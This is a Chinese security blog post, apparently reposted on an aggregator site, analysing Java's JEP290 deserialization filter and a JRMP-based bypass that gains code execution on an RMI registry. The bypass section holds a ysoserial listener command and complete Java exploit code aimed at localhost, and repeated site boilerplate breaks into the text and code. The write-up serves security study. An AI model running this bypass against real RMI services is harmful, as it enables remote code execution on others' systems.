浅谈 JEP290

浅谈 JEP2900x01 前言属于是拖了很久的文章了 4 18 筹划着开始写 6 22 左右才真正开始提笔

欢迎大家来到IT世界,在知识的湖畔探索吧!

0x01 前言

属于是拖了很久的文章了,4.18 筹划着开始写,6.22 左右才真正开始提笔。

一开始提到这个概念可能会比较懵逼,其实这就是为什么高版本 jdk 有部分能打 jndi,打不了 RMI

8u121 ~ 8u230 打不了 RMI

0x02 关于 JEP290

JEP290 是 Java 底层为了缓解反序列化攻击提出的一种解决方案,主要做了以下几件事

1、提供一个限制反序列化类的机制,白名单或者黑名单。2、限制反序列化的深度和复杂度。3、为 RMI 远程调用对象提供了一个验证类的机制。4、定义一个可配置的过滤机制,比如可以通过配置 properties 文件的形式来定义过滤器。

官方从 8u121,7u13,6u141 分别支持了这个 JEP

0x03 JEP290 防御手段分析

先起一个 RMI 的服务,代码详见 —— https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/RMI

尝试去攻击,这里会报错,报错部分信息为

java.io.ObjectInputStream filterCheck 信息: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler

欢迎大家来到IT世界,在知识的湖畔探索吧!

浅谈 JEP290

欢迎大家来到IT世界,在知识的湖畔探索吧!

可以先看一下官方文档对于 JEP290 的描述 http://openjdk.java.net/jeps/290

  • 我们很容易通过描述来看对应增加的 Filter 点是什么,如图找到了 ObjectInputFilter 相关的类
浅谈 JEP290

我这里去看了看 ObjectInputFilter 相关的类,断点是下不去的,所以去到控制台去看,发现在 RegistryImpl_Skel 类中也存在报错现象,而这个类在 RMI 中是用来做反序列化的方法的。

浅谈 JEP290

跟进,ObjectInputStream 类调用了 readObject0() 方法,继续跟进

浅谈 JEP290

先获取输入当中 blkmode,如果数据为 true,则继续进行后续判断,后续做了一部分的数据处理工作,我们直接来看最重要的地方 1573 行,调用了 checkResolve() 方法,跟进

浅谈 JEP290

跟进 readClassDesc() 方法,这个方法主要是读取并返回类描述符,并判断这一类描述符是否可以解析为本地 VM 中的类。

浅谈 JEP290

readClassDesc() 方法中,判断 tc 所对应的类型,这里跟进 readProxyDesc() 方法

浅谈 JEP290

readProxyDesc() 方法做完一系列基础判断之后调用了 filterCheck() 方法,跟进

浅谈 JEP290

filterCheck() 方法又调用了 checkInput() 方法,这里应该是最终来判断输入是否合法的地方。

浅谈 JEP290

这里的判断会进行两次,一个是开启 JVM 的 java.rmi.Remote 类,另一个是我们放入的恶意利用类 sun.reflect.annotation.AnnotationInvocationHandler,第一次会先判断 java.rmi.Remote 类是否合法

浅谈 JEP290

对应的判断代码,其实也就是白名单了。代码会首先判断 var2 是否等于 String 类型。如果不是,则继续判断它是否满足下列几个条件中的任意一个:

欢迎大家来到IT世界,在知识的湖畔探索吧!return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;

而这里,我们的 sun.reflect.annotation.AnnotationInvocationHandler 类并不在这些白名单中,所以会被过滤

浅谈 JEP290

0x04 JEP290 绕过

这里我们可以先看一下白名单里面都能过什么,白名单如下

String.class Number.class Remote.class Proxy.class UnicastRef.class RMIClientSocketFactory.class RMIServerSocketFactory.class ActivationID.class UID.class

这里我觉得还是得从它在 JDK8u221 的具体环境下的流程分析入手,看一下在攻击流程之后哪里可以能够被利用,哪里可以 bypass

绕过利用

思考了在 RMI 的流程当中,哪一步能够绕过 JEP290 的检测,最终是 JRMP 的这一步,能够绕过,从原理图来说的话应该是这样

浅谈 JEP290

先用 ysoserial 开启 JRMP 3333 端口的监听

欢迎大家来到IT世界,在知识的湖畔探索吧!java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "Calc"

然后编写 RMI 的 EXP

import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; public class BypassJEP290 { public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException { Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 2222 ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); // JRMPListener's port is 3333 UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(BypassJEP290.class.getClassLoader(), new Class[] { Registry.class }, obj); reg.bind("Hello",proxy); } }
浅谈 JEP290

这个 payload 的原理就是伪造了一个 UnicastRef 用于跟注册中心通信,我们从 bind() 方法开始分析一下这一整个流程。

绕过分析

我们通过 getRegistry 时获得的注册中心,其实就是一个封装了 UnicastServerRef 对象的对象

浅谈 JEP290

当我们调用 bind 方法后,会通过 UnicastRef 对象中存储的信息与注册中心进行通信

浅谈 JEP290

这里会通过 ref 与注册中心通信,并将绑定的对象名称以及要绑定的远程对象发过去,注册中心在后续会对应进行反序列化

接着来看看 yso 中的 JRMPClient 是做了什么操作

欢迎大家来到IT世界,在知识的湖畔探索吧!ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, obj); return proxy;

这里返回了一个代理对象,上面用的这些类都在白名单里,当注册中心反序列化时,会调用到RemoteObjectInvacationHandler父类RemoteObjectreadObject方法(因为RemoteObjectInvacationHandler没有readObject方法),在readObject里的最后一行会调用ref.readExternal方法,并将ObjectInputStream传进去:

这里的调用栈非常长,总体上来说就是在做我上面所说的工作,调用栈如下

readObject:455, RemoteObject (java.rmi.server) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1170, ObjectStreamClass (java.io) readSerialData:2178, ObjectInputStream (java.io) readOrdinaryObject:2069, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) defaultReadFields:2287, ObjectInputStream (java.io) readSerialData:2211, ObjectInputStream (java.io) readOrdinaryObject:2069, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) readObject:431, ObjectInputStream (java.io) // 从此处开始,会遇到很多字节码不匹配的问题 dispatch:92, RegistryImpl_Skel (sun.rmi.registry) oldDispatch:469, UnicastServerRef (sun.rmi.server) dispatch:301, UnicastServerRef (sun.rmi.server) run:200, Transport$1 (sun.rmi.transport) run:197, Transport$1 (sun.rmi.transport) doPrivileged:-1, AccessController (java.security) serviceCall:196, Transport (sun.rmi.transport) handleMessages:573, TCPTransport (sun.rmi.transport.tcp) run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:-1,  (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$Lambda$5) doPrivileged:-1, AccessController (java.security) run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:748, Thread (java.lang)

一路跟进到 sun.rmi.transport.LiveRef#read

浅谈 JEP290

可以看到这里把 payload 里所传入的 LiveRef 解析到 var5 变量处,里面包含了 ip端口 信息(JRMPListener 的端口)。这些信息将用于后面注册中心与 JRMP 端建立通信。

浅谈 JEP290

跟进 saveRef() 方法,里面做了一个映射,其建立了一个 TCPEndpointArrayList 的映射关系。

浅谈 JEP290

到这里 JRMP 的通信流程基本结束了,接着再回到 dispatch() 方法,在调用了 readObject 方法之后调用了 var2.releaseInputStream();,跟进

浅谈 JEP290

releaseInputStream() 方法调用了 this.in.registerRefs() 方法,跟进。其中先判断了当前保存的 Ref 是否为空,再获取当前 Ref,这个 Ref 实际上就是创建的 JRMP 连接,再跟进 registerRefs() 方法

浅谈 JEP290

var2这里返回的是 DGCClient 对象,里边同样封装了我们的端口信息

浅谈 JEP290

接着看到 registerRefs 方法中的 this.makeDirtyCall(var2, var3);,跟进一下

浅谈 JEP290

里面主要是做了数据处理,将原本保存了 EndPoint 的 var1 —— HashSet 数组转换为 ObjID,同时,调用了 this.dgc.dirty() 方法,跟进。

浅谈 JEP290

dirty() 方法中调用 wirteObject() 方法后,会用 invoke() 将数据发出去。

invoke() 方法实现的过程就是从 socket 连接中先读取了输入,然后直接反序列化,此时的反序列化并没有设置 filter(白名单),所以这里可以直接导致注册中心 rce,所以我们可以伪造一个 socket 连接并把我们恶意序列化的对象发过去,这也就是当时用 ysoserial 开启的 JRMP

浅谈 JEP290

至此绕过分析结束

0x05 小结

本身 JEP290 的绕过分析的思路是非常清晰的,但是整个流程还是比较复杂的,总结一下是从 RMI 通信的流程当中找到了可乘之机。


免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://itzsg.com/84866.html

(0)

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

联系我们YX

mu99908888

在线咨询: 微信交谈

邮件:itzsgw@126.com

工作时间:时刻准备着!

关注微信